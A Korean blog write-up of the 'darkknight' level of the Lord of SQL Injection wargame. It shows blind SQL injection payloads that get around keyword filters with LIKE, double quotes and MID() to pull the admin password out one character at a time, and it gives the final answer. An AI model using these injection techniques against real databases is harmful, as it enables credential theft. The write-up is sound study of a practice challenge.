일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- GIT
- 보안뉴스한줄요약
- 자바스크립트 API
- oracle
- 보안뉴스
- 오라클
- php
- javascript
- 카카오프로젝트
- 자바스크립트 jQuery
- 보안뉴스요약
- 랜섬웨어
- 카카오프로젝트100
- 자바스크립트 객체
- 자바스크립트 node
- ES6
- Oracle SQL
- 깃허브
- 자바스크립트 prototype
- 보안뉴스 요약
- numpy
- 다크웹
- 보안뉴스 한줄요약
- 파이썬
- 자바스크립트
- oracle db
- 카카오프로젝트 100
- 자바스크립트 element api
- 자바스크립트 기본 문법
- python
- Today
- Total
FU11M00N
Lord of injection darkknight(12단계) 본문
자 이번에도 블라인드 인젝션입니다...
이번에 필터링 되는것은 no는 prob,_(언더바), .(온점) , ( ) ,
'(싱글쿼터) , substr , ascii , =(이퀄) 이고
pw는 '(싱글쿼터) 를 필터링합니다.
정말 가면갈수록 시련을주네요,,, 개인적으로 난이도가 갑자기 올라간 문제라고 생각합니다..
먼저 =은 like로 대체해주고 '(싱글쿼터) 는 "(더블쿼터)로 대체해줘서 풀어봅시다!
그리고 예전에했던 블라인드와는 다르게 쿼리문에 no가 생겼다.
우선 no에 블라인드를 할생각으로 풀어보자.
먼저 항상그랬듯이 길이부터알아내자 길이를 알아내는 함수는 length() 이다
?pw=1234 && no=1 or id like "admin" %26%26 LENGTH(pw) like "8"
자 이렇게 쿼리문을 만들면 앞에 ?pw=1234 는
id=guest와 and 연산을 하기때문에 false 값이 나오고
false값과 no=1가 and 을하게되면 false 값이 나오고
또 그 false 값과 id like "admin" 을 or연산하면 True값 반환.
True 값과 length(pw) like 8이 and 연산을하게되면 길이가 8이 맞기때문에 ture값을 반환
이렇게 길이가 8인것을 알아냈다. (길이가 항상8이라서 바로 8로 시도했다.. ㅎㅎ)
그럼 이제 값을 알아내보자
substr이 막혀져있기때문에 전단계에서사용한 mid() 을 사용하자!!
모두 11단계에서는 substring 을 사용해봤지만,
이번엔 mid()함수를 사용해보자 (가능한 다양한것을 써보는게 좋을것같다!)
- LEFT : 문자에 왼쪽을 기준으로 일정 갯수를 가져오는 함수.
- MID : 문자에 지정한 시작 위치를 기준으로 일정 갯수를 가져오는 함수.
- RIGHT : 문자에 오른쪽을 기준으로 일정 갯수를 가져오는 함수.
이렇게 left mid right 함수가있는데 읽어보면 substr은 mid함수와 정확히 똑같은 역할을 해준다!!
그럼 답은 이렇게 되겠다.
?pw=1234 && no=1 or id like "admin" %26%26 mid(pw,1,1) like "1"
?pw=1234 && no=1 or id like "admin" %26%26 mid(pw,2,1) like "c"
?pw=1234 && no=1 or id like "admin" %26%26 mid(pw,3,1) like "6"
?pw=1234 && no=1 or id like "admin" %26%26 mid(pw,4,1) like "2"
?pw=1234 && no=1 or id like "admin" %26%26 mid(pw,5,1) like "b"
?pw=1234 && no=1 or id like "admin" %26%26 mid(pw,6,1) like "a"
?pw=1234 && no=1 or id like "admin" %26%26 mid(pw,7,1) like "6"
?pw=1234 && no=1 or id like "admin" %26%26 mid(pw,8,1) like "f"
pw=1c62ba6f 으로 정답이 나왔다!!
'Web Hacking > Lord of injection' 카테고리의 다른 글
Lord of Injection giant(14)단계 (0) | 2019.11.04 |
---|---|
Lord of injection bugbear(13단계) (0) | 2019.11.03 |
Lord of injection golem(11)단계 (0) | 2019.11.01 |
Lord of Injection skeleton(10)단계 (0) | 2019.10.30 |
Lord of Injection vampire(9)단계 (3) | 2019.10.29 |